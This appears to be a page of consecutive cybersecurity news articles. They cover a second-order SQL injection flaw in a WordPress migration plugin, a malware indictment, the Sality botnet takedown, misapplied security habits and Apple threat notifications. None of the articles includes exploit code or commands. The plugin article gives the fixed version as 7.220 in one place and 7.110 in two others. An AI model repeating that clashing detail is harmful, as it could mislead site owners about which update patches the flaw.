The security flaw is tracked as CVE-2026-19949, it impacts the Backup plugin and All-in-One WP Migration, which is utilized by over five million active wordpress installations. The plugin lets site owners to migrate, import, export, and backup sites, this consists of media files, themes, plugins, and databases.

As per Bleeping Computer, the flaw is a second-order SQL injection vulnerability that could permit an unauthorized threat actor to run malicious code on a compromised site. The flaw impacts variants 7.109 and earlier and has been given high severity, with a 8.8 CVSS score.

Reporting of the flaw

The vulnerability was found by security expert Jack Taylor, who reported the incident to cybersecurity company Wordfence, which investigated and disclosed the flaw. On August 15, 2026, Wordfence informed the plugin’s developer, Servmask, which released variant 7.220 on August 20 to patch the flaw. 

“On August 14th, 2026, we received a submission for an Unauthenticated Second-Order SQL Injection vulnerability in All-in-One WP Migration and Backup, a WordPress plugin with more than 5 million active installations,” Wordfence reported.

Attack tactic

Contrary to flaws that can be abused immediately, this vulnerability consists of an extra step. Threat actors first place specially tailored data on a compromised website. 

The malicious information remains latent until a website admin does a backup restoration of the archive. “This vulnerability makes it possible for unauthenticated attackers to inject SQL that is later executed when a site administrator performs an archive restore, which can be used to leak the plugin’s secret key and ultimately achieve remote code execution, leading to complete site takeover,” Wordfence said.

Misuse of malicious data

In the restoration stage, the stored malicious data can be used as SQL commands which allows threat actors to take out sensitive data from the website’s database.

An important target is the plugin’s secret ai1wm_secret_key.. If a threat actor accesses this key, it can possibly be used to move from database access to remote code execution (RCE), allowing the threat actor more control over the compromised website.

Through RCE, threat actors could install malicious code, change website files, and create backdoors.

Addressing the flaw

ServMask addressed the CVE-2026-19949 in variant 7.110 of the plugin. Users are advised to update their websites to the latest patched versions of Backup and All-in-One WP Migration.

On August 20, ServMask addressed the CVE-2026-19949 vulnerability in version 7.110 of the plugin.

Russian National Charged Over Malware Campaign Targeting 80,000 Freelancers

 


A Russian national has been extradited to the United States to face federal charges over an alleged malware campaign that targeted approximately 80,000 users of a freelance employment platform.

Searzhudin Tamirlanovich Aktulaev, 40, is accused of using hundreds of fraudulent accounts to distribute malicious Microsoft Excel attachments between June 2016 and November 2017. Prosecutors allege that the attachments downloaded remote-access malware capable of controlling victims’ computers and stealing information.

The indictment was filed under seal on June 1, 2021. Aktulaev was arrested in Cyprus in May 2025 and extradited to the United States on August 28, 2026, according to the US Department of Justice.

He appeared in federal court in San Francisco on August 31 and was remanded to federal custody. The indictment was unsealed the same day.

Fake Freelance Accounts Distributed Malicious Excel Files

According to prosecutors, Aktulaev and his alleged co-conspirators exploited the messaging system of a well-known freelance employment technology company located in California’s Northern District.

The DOJ did not publicly identify the company.

The conspirators allegedly created approximately 255 fake user accounts and used them to send messages containing malicious Excel attachments to around 80,000 freelancers.

Opening an attachment prompted the recipient to enable or execute an embedded macro. If the user complied, the macro downloaded malware from the internet.

This distinction is important: the indictment alleges that malware was distributed to approximately 80,000 users, but the DOJ announcement does not establish that every recipient opened the attachment or became infected.

Freelancers can be particularly exposed to attachment-based attacks because their work routinely involves receiving documents from unfamiliar prospective clients. A spreadsheet presented as a project brief, financial record or work assignment may therefore appear consistent with an ordinary business request.

TVRAT and DarkVNC Provided Remote Access

The indictment identifies two malware families allegedly used in the campaign: TVRAT and DarkVNC.

TVRAT, also known as TVSPY or TeamSpy, incorporated or abused components associated with TeamViewer, a legitimate remote-administration product. DarkVNC provided similar hidden remote-control capabilities using Virtual Network Computing technology.

Prosecutors allege that the malware allowed the conspirators to control infected computers and transfer stolen data to command-and-control servers.

The use of recognizable remote-access components can help criminals disguise malicious activity as legitimate administrative traffic. It can also make detection more difficult when organizations permit remote-support products in their environments.

The allegations do not indicate that TeamViewer or VNC Viewer participated in the operation. The case concerns malware that allegedly misused remote-administration technology.

Thousands of Computers Connected to US-Based Infrastructure

Court allegations state that domains supporting the command-and-control infrastructure were purchased using virtual currency. At least one command-and-control domain was hosted in the United States, and thousands of computers infected with TVRAT reportedly connected back to it.

Investigators discovered a database on the command-and-control infrastructure containing information associated with thousands of victims.

The DOJ also said a shared document stored in an email account used during the alleged criminal activity contained e-commerce login credentials and personally identifiable information belonging to hundreds of people.

Prosecutors allege that information stolen through TVRAT and DarkVNC was collected from the command-and-control servers and used by Aktulaev and his co-conspirators to conduct fraud and other criminal activity.

Approximately half of the identified victims were located in the United States. The DOJ said many—not all—of those US victims were in the Northern District of California, where the federal case is being prosecuted.

Aktulaev Faces Multiple Federal Charges

The indictment charges Aktulaev with conspiracy, aggravated identity theft and transmitting code or commands that caused damage to protected computers. It also includes allegations involving wire fraud, unauthorized computer access and obtaining information or value from compromised systems.

The most serious listed offense, conspiracy to commit wire fraud, carries a maximum potential sentence of 20 years in prison. A charge involving intentional damage to protected computers carries a maximum of 10 years, while aggravated identity theft can result in a mandatory consecutive two-year sentence for each conviction.

These are maximum statutory penalties rather than a predicted sentence. Any punishment would depend on which charges, if any, result in conviction and the federal court’s consideration of applicable sentencing rules.

Aktulaev is scheduled to appear before US District Judge Donato on October 5, 2026, for a status conference.

The FBI investigated the case, which is being prosecuted by the National Security, Cyber, and Special Prosecutions Section of the US Attorney’s Office for the Northern District of California. The Justice Department’s Office of International Affairs secured the extradition from Cyprus.

The Campaign Predates Aktulaev’s Arrest

The alleged campaign operated from 2016 to 2017. The indictment was filed in 2021, approximately four years after the campaign ended—not four years after Aktulaev’s arrest.

Aktulaev was arrested in Cyprus in May 2025 and extradited more than a year later. The DOJ has not explained why the indictment remained under seal or provided details about the extradition proceedings.

Because the case is at the indictment stage, all described conduct remains an allegation. Aktulaev is presumed innocent unless prosecutors prove the charges beyond a reasonable doubt.

Sality Botnet Disrupted as Authorities Seize Key Infrastructure


An international public-private operation has disrupted Sality, a peer-to-peer botnet that remained active for more than two decades, by seizing domains and redirecting infected computers away from infrastructure controlled by its operator.

The coordinated action took place on August 31, 2026, and involved authorities in the United States, Bulgaria, Hungary and Romania. CrowdStrike and the Shadowserver Foundation provided technical assistance, while Europol and Eurojust supported the international coordination.

According to the US Department of Justice, the DOJ, FBI and the Defense Criminal Investigative Service seized Sality-linked domains in the United States. European authorities took action against additional domains hosted in Bulgaria, Hungary and Romania.

CrowdStrike’s Counter Adversary Operations team simultaneously carried out a peer-to-peer sinkholing operation designed to separate infected computers from the botnet’s operator.

The action disabled Sality’s current command channel, but it did not automatically remove malware from compromised computers.

Sality Remained Active for More Than Two Decades

First observed in 2003, Sality began as a polymorphic file-infecting malware family. It attached malicious code to executable files and could spread through network shares, removable drives and file-sharing systems.

Sality eventually developed into a decentralized botnet in which infected computers communicated directly with one another. Unlike a conventional botnet with one central command-and-control server, Sality’s peer-to-peer architecture did not present investigators with a single server that could be seized to disable the entire operation.

CrowdStrike said two incompatible Sality networks, known as versions 3 and 4, remained active until the disruption. Although they used the same underlying codebase and were operated by the same threat actor, the networks used different protocol versions and cryptographic keys.

The botnet’s main function was to deliver additional malicious software. During its long history, Sality distributed malware associated with credential theft, spam, proxy services, network exploitation and distributed denial-of-service attacks.

For approximately the past eight years, CrowdStrike said its primary payload was EggJagger, a clipboard-hijacking tool that monitored devices for copied cryptocurrency wallet addresses. When it detected a Bitcoin or Ethereum address, the malware replaced it with an address controlled by the attacker.

CrowdStrike estimates that at least $150,000 in cryptocurrency was stolen through EggJagger, although other malware distributed through Sality may have produced additional criminal revenue.

How Large Was the Sality Botnet?

CrowdStrike’s technical account of the disruption states that Sality enabled its operator to distribute malicious payloads to more than 33,000 infected computers worldwide at the time of the operation.

Historical figures are considerably larger. Europol reported that Sality provided access to as many as one million infected machines at its peak. More than 11 million unique IP addresses have been connected to its infrastructure over its lifetime.

The 11 million figure should not be interpreted as the number of simultaneously infected devices. Individual machines can use different IP addresses over time, and the total covers years of recorded activity.

Europol has supported Sality-related investigations since 2017. The agency said international partners held weekly operational calls in the weeks before the latest action to coordinate infrastructure seizures and the technical disruption.

How the Sinkhole Operation Worked

The operation targeted the peer lists that Sality-infected computers used to locate other machines in the botnet.

Each infected computer maintained a limited list of publicly reachable “super peers,” which formed the backbone of the P2P network. Approximately every 40 minutes, the malware checked whether those peers remained available. Responsive peers gained reputation, while unresponsive entries were gradually removed.

CrowdStrike found that the Sality protocol did not authenticate computers joining the network. Any publicly reachable system that completed the required handshake could be accepted as a legitimate peer.

Defenders used this weakness to manipulate the botnet’s peer lists. Legitimate Sality peers were invalidated and replaced with sinkhole nodes operated by CrowdStrike. As the process continued, infected computers lost contact with the criminal network and began communicating with defender-controlled infrastructure instead.

Computers located behind firewalls or network address translation could not always be contacted directly. However, when those devices initiated their routine communications with a sinkhole, their peer lists could also be purged, isolating them from the operator.

Authorities and industry partners also acted against websites hosting Sality’s payloads. Taking those locations offline prevented infected computers with older download instructions from retrieving additional malware during the transition.

Who Operated Sality?

CrowdStrike tracks the criminal actor associated with Sality as SALTY SPIDER. The company assesses that the group likely operates from Russia’s Republic of Bashkortostan, near the border with Kazakhstan.

This remains a company attribution rather than a publicly established legal finding. The DOJ and Europol announcements did not identify an individual operator, announce an arrest or disclose criminal charges connected to the disruption.

Infected Computers Still Require Remediation

Although the operator has lost the ability to issue new instructions through the disrupted network, Sality remains installed on affected computers. Additional malware previously delivered by the botnet may also remain active.

CrowdStrike said Sality-infected systems now communicate with its sinkhole infrastructure. The company published a defanged lighthouse IP address, the botnet’s final payload URLs and YARA rules that security teams can use to identify active infections.

Shadowserver is working with internet service providers and national Computer Security Incident Response Teams to identify affected organizations, notify victims and support remediation.

Organizations that detect a Sality infection should isolate the affected device, inspect it for secondary malware and remove or rebuild compromised systems. Security teams should also examine network shares and removable media that may contain infected executable files.

Passwords and other credentials used on an infected device should be considered exposed. However, credential changes should be performed from a clean system after the malware has been removed.

The operation has disabled Sality’s existing command channel and prevented it from distributing new payloads through the disrupted infrastructure. Its long-term impact will now depend on whether remaining infections are found and remediated before the operator can attempt to rebuild part of the network.

Four Cybersecurity Habits That Can Do More Harm Than Good When Misused



Cybersecurity advice is often reduced to simple rules: change passwords regularly, avoid public Wi-Fi, install antivirus software and enable two-factor authentication. These recommendations were created for good reasons, but the threat landscape and the technology protecting users has changed.

The problem is not that these safeguards have become useless. Instead, rigidly following outdated versions of the advice can create false confidence, encourage risky behaviour or distract users from more effective protections.

Here are four familiar cybersecurity habits that need to be reconsidered.

1. Changing Every Password on a Fixed Schedule

For years, organizations required employees to change their passwords every 30, 60 or 90 days. The intention was to limit the amount of time a stolen password could remain useful.

In practice, frequent forced changes can encourage people to select predictable passwords or make minor alterations, such as replacing “Password1” with “Password2.” This provides much less protection than organizations may assume.

The current NIST Digital Identity Guidelines advise service providers not to demand periodic password changes unless there is evidence that a password has been compromised. NIST instead emphasizes longer passwords, blocking commonly used or compromised credentials and permitting the use of password managers.

A better approach is to give every account a long, unique password generated and stored by a reputable password manager. A password should be changed immediately if it appears in a breach, is entered on a suspicious website or may have been exposed through malware.

Where available, users should also consider passkeys, which remove the need to remember a password and provide stronger resistance to phishing. Organizations reviewing password policies should combine these protections with measures designed to secure single sign-on systems against credential attacks.

2. Treating Every Public Wi-Fi Network as Equally Dangerous

“Never use public Wi-Fi” was once common security advice. However, widespread adoption of HTTPS means that most websites now encrypt information travelling between a device and the website.

The US Federal Trade Commission says that connecting through public Wi-Fi is usually safe because most websites use encryption. Users should still check for HTTPS and remember that an encrypted connection does not prove that the website itself is legitimate. A phishing website can also use HTTPS.

Public networks continue to present risks. Attackers may create convincing lookalike networks, manipulate captive-portal login pages or target devices with outdated software and exposed sharing settings.

Instead of avoiding every public network, users should:

  • Confirm the network name with the venue before connecting.

  • Disable automatic Wi-Fi connections and unnecessary file sharing.

  • Keep the operating system, browser and security software updated.

  • Avoid proceeding past browser certificate warnings.

  • Use cellular data or a personal hotspot for especially sensitive work.

  • Follow an employer’s approved VPN requirements when accessing company systems.

A trusted VPN can provide another encrypted layer, particularly for work traffic or applications that do not protect their own connections. However, a VPN transfers trust from the local network to the VPN provider and does not prevent phishing, malware or account compromise.

3. Assuming Antivirus Software Is a Complete Security System

Antivirus software remains an important protection and should not be disabled. The outdated habit is assuming that installing it is the only step needed to secure a device.

Traditional antivirus products relied heavily on signatures that identified previously discovered malicious files. Modern security tools also use reputation checks, behavioural analysis, cloud intelligence and other methods to identify suspicious activity.

Attackers nevertheless use techniques intended to evade detection, including frequently changing malware, malicious scripts, abuse of legitimate system tools and attacks that leave few conventional files behind. Artificial intelligence may help criminals modify malicious code more quickly, but malware evasion existed long before generative AI.

CISA’s ransomware guidance recommends keeping antivirus and antimalware tools updated while also using protections such as application allowlisting and endpoint detection and response. This reinforces an important point: antivirus should be one part of a layered defence.

For individual users, that means enabling the device’s built-in or another reputable security product, installing software updates promptly, downloading applications from trusted sources and maintaining backups. Businesses should add centralized monitoring, restricted administrative privileges, application controls and tested recovery procedures.

Running multiple antivirus products at the same time is not necessarily safer. They may conflict, reduce performance or interfere with each other’s detection capabilities.

4. Believing Any Form of Two-Factor Authentication Is Unbreakable

Two-factor authentication remains one of the most effective ways to prevent account takeover, and users should enable it wherever possible. The mistake is believing that every form of two-factor authentication provides the same protection—or that it makes an account impossible to compromise.

Text-message codes and one-time passwords can be captured through phishing. Attackers may also send repeated login approval requests in the hope that a user eventually accepts one.

Another threat is session theft. After a successful login, a website generally creates a session token or cookie that allows the user to remain signed in. Malware or adversary-in-the-middle phishing infrastructure can steal this token and reuse it without repeating the original authentication process.

Microsoft explains that stolen browser cookies can bypass authentication controls. This is why infostealers that collect browser data and authentication tokens remain dangerous, as demonstrated by the growing capabilities of threats such as the REMUS infostealer.

Passkeys and physical security keys provide stronger protection against phishing because authentication is tied to the legitimate website. CISA recommends moving toward phishing-resistant MFA, especially for important or privileged accounts.

However, even passkeys cannot make an infected device completely safe. Users and organizations must also protect endpoints, monitor active sessions, revoke suspicious sessions and require fresh authentication before particularly sensitive actions.

Security Controls Must Evolve With the Threats

The lesson is not to abandon passwords, public Wi-Fi precautions, antivirus software or two-factor authentication. Each remains useful when applied correctly.

The safer approach is to replace scheduled password resets with unique credentials or passkeys, assess public networks based on the connection and activity, treat antivirus as one security layer and choose phishing-resistant authentication whenever possible.

Cybersecurity habits should evolve as attacks and defensive technologies change. A safeguard becomes dangerous when users stop examining what it protects against—and assume that it can protect them from everything.

Received an Apple Threat Notification? How to Verify and Respond Safely

 

An Apple threat notification is not a routine security warning. Apple issues these high-confidence alerts when its threat intelligence indicates that someone may have been individually targeted by sophisticated mercenary spyware.

Receiving an alert does not necessarily mean that the spyware successfully infected the device. It also does not identify the spyware operator or explain why the person was targeted. However, Apple says recipients should take the warning seriously and obtain expert assistance.

Verify That the Notification Is Genuine

Attackers may impersonate Apple and use spyware concerns to steal passwords or verification codes. Recipients should therefore confirm the notification before following any instructions.

Apple threat notifications may appear:

  • On an iPhone’s Lock Screen.

  • Inside the iPhone’s Settings application.

  • In an email sent to an address associated with the Apple Account.

  • As a banner at the top of the Apple Account website.

Instead of following a link inside an email or message, manually enter account.apple.com into a browser and sign in. A genuine notification will be displayed prominently at the top of the account page.

Apple says its threat notifications will never ask recipients to click a link, open a file, install an application or configuration profile, or disclose their Apple Account password or verification code.

Any communication making these requests should be treated as a possible phishing attempt.

What the Alert Actually Means

Apple describes its threat notifications as high-confidence warnings that a user may have been individually targeted by mercenary spyware.

These attacks are significantly more sophisticated than ordinary cybercrime. They frequently involve commercial surveillance tools developed for highly targeted operations against a small number of individuals.

Journalists, activists, politicians, diplomats and human-rights defenders have historically been among those targeted. Nevertheless, the notification alone does not prove that a device was successfully compromised.

A forensic investigation may be required to determine whether an attempted infection succeeded and what information may have been exposed.

Preserve Potential Evidence

Recipients should not immediately erase or factory-reset the affected device. Resetting it may remove forensic evidence that investigators could use to identify an attempted or successful compromise.

Access Now recommends preserving the device and creating a backup when an immediate forensic examination is unavailable. Because information stored in system logs can be overwritten over time, expert assistance should be requested as quickly as possible.

Apple directs notified users to Access Now’s Digital Security Helpline, which provides emergency assistance to eligible civil-society groups, including independent journalists, activists and human-rights defenders.

People outside the organization’s support mandate should contact a trusted cybersecurity professional with experience in mobile-device forensics.

Update and Harden Apple Devices

The appropriate order of forensic preservation and security changes may depend on the individual case. When possible, recipients should coordinate these actions with a qualified investigator.

Apple and Access Now recommend the following protective measures:

  • Update the iPhone and other Apple devices to the latest available software.

  • Enable Lockdown Mode on supported devices.

  • Use a strong, unique Apple Account password.

  • Confirm that two-factor authentication is enabled.

  • Review the devices connected to the Apple Account and remove anything unfamiliar.

  • Enable Stolen Device Protection.

  • Install applications only from the App Store.

  • Avoid links and attachments from unknown senders.

Apple recommends updating devices before enabling Lockdown Mode to obtain the complete set of available protections.

On an iPhone, Lockdown Mode can be activated under Settings > Privacy & Security > Lockdown Mode. It restricts certain applications, websites, invitations, attachments and device connections to reduce the attack surface available to highly targeted spyware.

Lockdown Mode must be enabled separately on an iPhone, iPad and Mac. Enabling it on an iPhone automatically activates it on a paired Apple Watch.

Do Not Rely on a Basic Spyware Scanner

A consumer security application reporting that a device is clean does not prove that no compromise occurred. Mobile security applications have limited access to protected areas of the operating system, while sophisticated spyware is specifically designed to avoid detection.

The absence of unusual battery consumption, unexpected applications or suspicious messages also cannot establish that a device is safe. Some advanced spyware attacks require little or no interaction from the target and may leave few visible symptoms.

Remain Alert for Follow-Up Phishing

A person who receives a legitimate threat notification may subsequently encounter fraudulent messages from criminals claiming to offer Apple support or spyware-removal services.

Recipients should never provide passwords, device passcodes or two-factor authentication codes to an unsolicited caller. CySecurity.news has separately reported how fake Apple Support agents target device owners using phishing messages and AI-generated voice calls.

Apple has sent threat notifications to users in more than 150 countries since 2021. Although most people will never receive one, anyone who does should verify it directly, preserve potential evidence, obtain expert assistance and take immediate steps to strengthen the security of every connected device.